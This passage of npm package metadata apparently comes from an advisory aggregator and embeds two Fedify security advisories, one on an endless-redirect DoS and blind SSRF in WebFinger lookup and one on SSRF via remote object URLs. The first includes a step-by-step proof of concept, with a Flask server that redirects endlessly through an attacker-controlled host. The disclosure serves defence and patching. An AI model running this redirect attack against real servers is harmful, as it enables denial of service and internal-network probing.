ResourceDescriptor;\n    } catch (e) {\n      if (e instanceof SyntaxError) {\n        logger.debug(\n          \"Failed to parse WebFinger resource descriptor as JSON: {error}\",\n          { error: e },\n        );\n        return null;\n      }\n      throw e;\n    }\n  }\n}\n```\n\nThe function takes the **actorId** parameter containing the actor ID URL, extracts the scheme and uses the rest of the URL (host+port+path) directly inside a hard-coded Webfinger URL address which in turn sinks into a fetch request.\n\nOn the fetch request, the **redirect** attribute is set to “**manual**” preventing automated redirects. However, redirects are still handled using custom code that loops over responses and re-fetching the URL found inside the “Location” header until receiving a valid response or an error occurs (loop keeps until 300\u003estatus code\u003e400).\n\nThis custom redirect implementation contains multiple issues:\n1.The redirect loop is endless ( while(true) loop ) without any iteration limiting, allowing attackers to perform DoS via endless redirecting.\n2. A Blind SSRF attack to any URL, with arbitrary Host, Port and Path is possible via the current custom redirect implementation.\n3. As the redirect handler is a custom one, it breaches the security mechanisms presented by the native redirect handler of fetch - allowing the attacker to redirect to different schemes such as data or file schemes.\n\nIn order to successfully perform any of the attacks described above, an attacker needs to create a federated app which presents a malicious actor object, containing an actor ID URL of a second server which performs a recursive redirect to itself, or a URL containing an internal resource.\n\n\n### PoC\n1. In order to show a use case of the vulnerability, we can use the demo app presented at this URL: https://github.com/dahlia/microblog.\n2. We will create two machines, victim and attacker, each one on a different server with different domains.\n\n**_Victim Machine_**\n1. Create a new instance (we tested on ubuntu’s latest version), and update the package manager.\n2. Install a Deno server:\n`\ncurl -fsSL https://deno.land/install.sh | sh\n`\n`\nsource ~/.bashrc\n`\n`\ndeno --version #check deno is working\n`\n3. Pull the git repository of the victim blog app:\n`\ngit clone https://github.com/dahlia/fedify.git\n`\n4. Modify the federation object to remove signature checks for the sake of easy testing:\nOn file **_/examples/blog/federation/mod.ts_** edit the **_createFederation\u003cvoid\u003e_** object the following attribute: **_skipSignatureVerification: true_**.\n5. Change into the blog app directory ( /examples/blog ) and run the app:\n`\ndeno task preview\n`\n6. Surf to the application on the browser, and register a user on the app.\n\n**_Attacker Machine_**\n1. Create a new instance (we tested on ubuntu’s latest version), and update the package manager.\n2. Install NVM in order to install the latest version of NPM and NODEJS (and source current shell to check it worked):\n`\ncurl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.1/install.sh | bash\n`\n`\nsource ~/.bashrc\n`\n`\nnvm list-remote\n`\n3. Install the latest stable version:\n`\nnvm install {latest_ver} #for example: v20.10.0\n`\n`\nsource ~/.bashrc\n`\n`\nnpm -v #check it works\n`\n`\nnode -v #check it works\n`\n4. Download the attacker app repository:\n`\ngit clone https://github.com/dahlia/microblog.git\n`\n5. Disable request signature validations:\nEdit the **_/src/federation.ts_** file and add a **_skipSignatureVerification: true_** attribute to the **_createFederation_** object.\n6. Modify the **_/src/federation.ts_** file and tamper with the Person object on the actor dispatcher ( **_setActorDispatcher(\"/users/{identifier}\"_** ) - change the actor ID attribute **_“id: ctx.getActorUri(identifier)_**” into “**_id: new URL(‘http://\u003cATTACKER_MACHINE_DOMAIN\u003e:1337/users/enterloop’)_**”.\n7. Install python flask and create the Python Flask redirect server:\n`\napt update\n`\n`\napt install python3-flask\n`\n```python\nfrom flask import Flask, redirect\n\napp = Flask(__name__)\n\n@app.route('/health')\ndef health():\n    return \"hello\", 200\n\n@app.route('/.well-known/webfinger')\ndef ssrfinger():\n    return redirect(\"http://\u003cATTACKER_MACHINE_DOMAIN\u003e:1337/endlessloop\")\n\n@app.route('/endlessloop')\ndef endlessloop():\n    return redirect(\"http://\u003cATTACKER_MACHINE_DOMAIN\u003e:1337/endlessloop\")\n\nif __name__ == '__main__':\n    app.run(debug=True,host='0.0.0.0' ,port=1337)\n```\n8.  Run the python server and attempt to reach the “**_/health_**” path to see the server functions as expected.\n9. Read the **_README.txt_** file on the attacker app and follow the instructions on how to execute the app.\n10. Surf the app on the browser and attempt to follow the federated user on the victim’s machine.\n11. Send the “follow” request and watch the victim app continue to query the redirect server infinitely (It is possible to repeat this step multiple times causing multiple loops).\n\n\n### Impact\n1. Implement a limiting stop condition for the endless loop to prevent infinite loops.\n2. Validate the scheme while performing a manual redirection handler.\n3. For each web resource (for the **_lookupWebFinger_** function and also URLs found on the “**_Location_**” header inside the loop) use the “**_validatePublicUrl_**” function to verify that it is not targeting a local resource.\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-01-21T19:58:29.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.4,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:N/A:L","references":["https://github.com/dahlia/fedify/security/advisories/GHSA-c59p-wq67-24wx","https://nvd.nist.gov/vuln/detail/CVE-2025-23221","https://github.com/dahlia/fedify/commit/8be3c2038eebf4ae12481683a1e809b314be3151","https://github.com/dahlia/fedify/commit/c505eb82fcd6b5b17174c6659c29721bc801ab9a","https://github.com/dahlia/fedify/commit/e921134dd5097586e4563ea80b9e8d1b5460a645","https://github.com/advisories/GHSA-c59p-wq67-24wx"],"source_kind":"github","identifiers":["GHSA-c59p-wq67-24wx","CVE-2025-23221"],"repository_url":"https://github.com/dahlia/fedify","blast_radius":1.0,"created_at":"2025-01-21T20:09:04.853Z","updated_at":"2026-04-25T01:03:14.871Z","epss_percentage":0.00111,"epss_percentile":0.29492,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jNTlwLXdxNjctMjR3eM4ABDov","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jNTlwLXdxNjctMjR3eM4ABDov","packages":[{"ecosystem":"npm","package_name":"@fedify/fedify","versions":[{"first_patched_version":"1.3.4","vulnerable_version_range":"= 1.3.3"},{"first_patched_version":"1.2.11","vulnerable_version_range":"= 1.2.10"},{"first_patched_version":"1.1.11","vulnerable_version_range":"= 1.1.10"},{"first_patched_version":"1.0.14","vulnerable_version_range":"= 1.0.13"}],"purl":"pkg:npm/%40fedify%2Ffedify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jNTlwLXdxNjctMjR3eM4ABDov/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wOWNnLXZxY2MtZ3JjeM4AA9m5","url":"https://github.com/advisories/GHSA-p9cg-vqcc-grcx","title":"Server Side Request Forgery (SSRF) attack in Fedify","description":"### Summary\n \nAt present, when Fedify needs to retrieve an object or activity from a remote activitypub server, it makes a HTTP request to the `@id` or other resources present within the activity it has received from the web. This activity could reference an `@id` that points to an internal IP address, allowing an attacker to send request to resources internal to the fedify server's network.\n\nThis applies to not just resolution of documents containing activities or objects, but also to media URLs as well.\n\nSpecifically this is a [Server Side Request Forgery attack](https://owasp.org/www-community/attacks/Server_Side_Request_Forgery). You can learn more about SSRF attacks via [CWE-918](https://cwe.mitre.org/data/definitions/918.html)\n\n### Details\n\nWhen Fedify makes a request at runtime via the DocLoader [1] [2], the `fetch` API does not first check the URI's to assert that it resolve to a public IP address. Additionally, any downstream software of Fedify that may fetch data from URIs contained within Activities or Objects maybe be at risk of requesting non-public resources, and storing those, exposing non-public information to the public.\n\nAdditionally, in many cases the URIs are not asserted to be either strictly HTTPS or HTTP protocols, which could lead to further attacks, and there is no check that the URI contains a `hostname` part. Whilst the [`fetch()` specification](https://fetch.spec.whatwg.org/) may provide some safety here, along with underlying fetch implementations, there is still potential for attacks through using `data:` URIs, or just attacking some other protocol entirely, e.g., FTP or CalDav.\n\n[1] https://github.com/dahlia/fedify/blob/main/runtime/docloader.ts#L141\n[2] https://github.com/dahlia/fedify/blob/main/runtime/docloader.ts#L175\n\n#### Deno-specific Attack Vectors\n\nIn Deno specifically, the `fetch()` API allows [accessing local filesystem](https://docs.deno.com/deploy/api/runtime-fetch/), I'm not sure how Deno's [Permissions model](https://docs.deno.com/runtime/manual/runtime/permission_apis/) may prevent attacks utilising `file:` URIs.\n \n\u003e Fetch also supports fetching from file URLs to retrieve static files. For more info on static files, see the [filesystem API documentation](https://docs.deno.com/deploy/api/runtime-fs).\n\n#### ActivityPub Security Considerations\n\nThis is also noted in the ActivityPub spec in [Section B.3 Security Considerations](https://www.w3.org/TR/activitypub/#security-localhost), however, there it is more limited in scope.\n\n#### Other Implementations\n\nIt may be acceptable to allow a server operator to allow access to given non-public IP addresses, for instance [in Mastodon](https://github.com/mastodon/mastodon/blob/092bb8a27af9ee87ff9ebabaf354477470ea3a94/app/lib/request.rb#L330) they allow requests to non-public IP addresses, i.e., localhost in development and those in the `ALLOWED_PRIVATE_ADDRESSES` environment variable.\n\n### PoC\n\nI'm not sure a PoC is necessary given this is a reasonably well known vulnerability vector.\n\n### Impact\n\nThis impacts server operates, as resources that are internal to their network may find themselves being improperly accessed or potentially even attacked or exposed to the public.\n\n### Notes for resolution:\n\nWhen implementing public IP address validation, be careful of [CWE-1389](https://cwe.mitre.org/data/definitions/1389.html) and [CWE-1286](https://cwe.mitre.org/data/definitions/1286.html) both of which [recently](https://github.com/advisories/GHSA-78xj-cgh5-2h22) caused a CVE to be filed against the popular node.js `ip` package, although this package was not originally intended for security purposes.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2024-07-05T20:07:54.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:L/SC:L/SI:N/SA:L","references":["https://github.com/dahlia/fedify/security/advisories/GHSA-p9cg-vqcc-grcx","https://nvd.nist.gov/vuln/detail/CVE-2024-39687","https://github.com/dahlia/fedify/commit/30f9cf4a175704a04c874f3ea88414c5f1e00b28","https://github.com/dahlia/fedify/commit/c641e976089dd913f649889c1bfb016df04e86ba","https://github.com/dahlia/fedify/releases/tag/0.11.1","https://github.com/advisories/GHSA-p9cg-vqcc-grcx"],"source_kind":"github","identifiers":["GHSA-p9cg-vqcc-grcx","CVE-2024-39687"],"repository_url":"https://github.com/dahlia/fedify","blast_radius":1.0,"created_at":"2024-07-05T21:05:25.863Z","updated_at":"2026-04-25T01:04:13.921Z","epss_percentage":0.00078,"epss_percentile":0.23438,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wOWNnLXZxY2MtZ3JjeM4AA9m5","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wOWNnLXZxY2MtZ3JjeM4AA9m5","packages":[{"ecosystem":"npm","package_name":"@fedify/fedify","versions":[{"first_patched_version":"0.11.2","vulnerable_version_range":"\u003e= 0.11.0, \u003c 0.11.2"},{"first_patched_version":"0.10.2","vulnerable_version_range":"\u003e= 0.10.0, \u003c 0.10.2"},{"first_patched_version":"0.9.2","vulnerable_version_range":"\u003c 0.9.2"}],"purl":"pkg:npm/%40fedify%2Ffedify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wOWNnLXZxY2MtZ3JjeM4AA9m5/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/@fedify/fedify","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/npm/@fedify/fedify","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/@fedify/fedify/dependencies","status":null,"funding_links":["https://opencollective.com/fedify","https://github.com/sponsors/dahlia"],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@fedify%2Ffedify/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@fedify%2Ffedify/version_numbers","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@fedify%2Ffedify/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@fedify%2Ffedify/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@fedify%2Ffedify/codemeta","maintainers":[{"uuid":"hongminhee","login":"hongminhee","name":null,"email":"hong@minhee.org","url":null,"packages_count":99,"html_url":"https://www.npmjs.com/~hongminhee","role":null,"created_at":"2024-03-30T14:20:18.855Z","updated_at":"2024-03-30T14:20:18.855Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/hongminhee/packages"}]}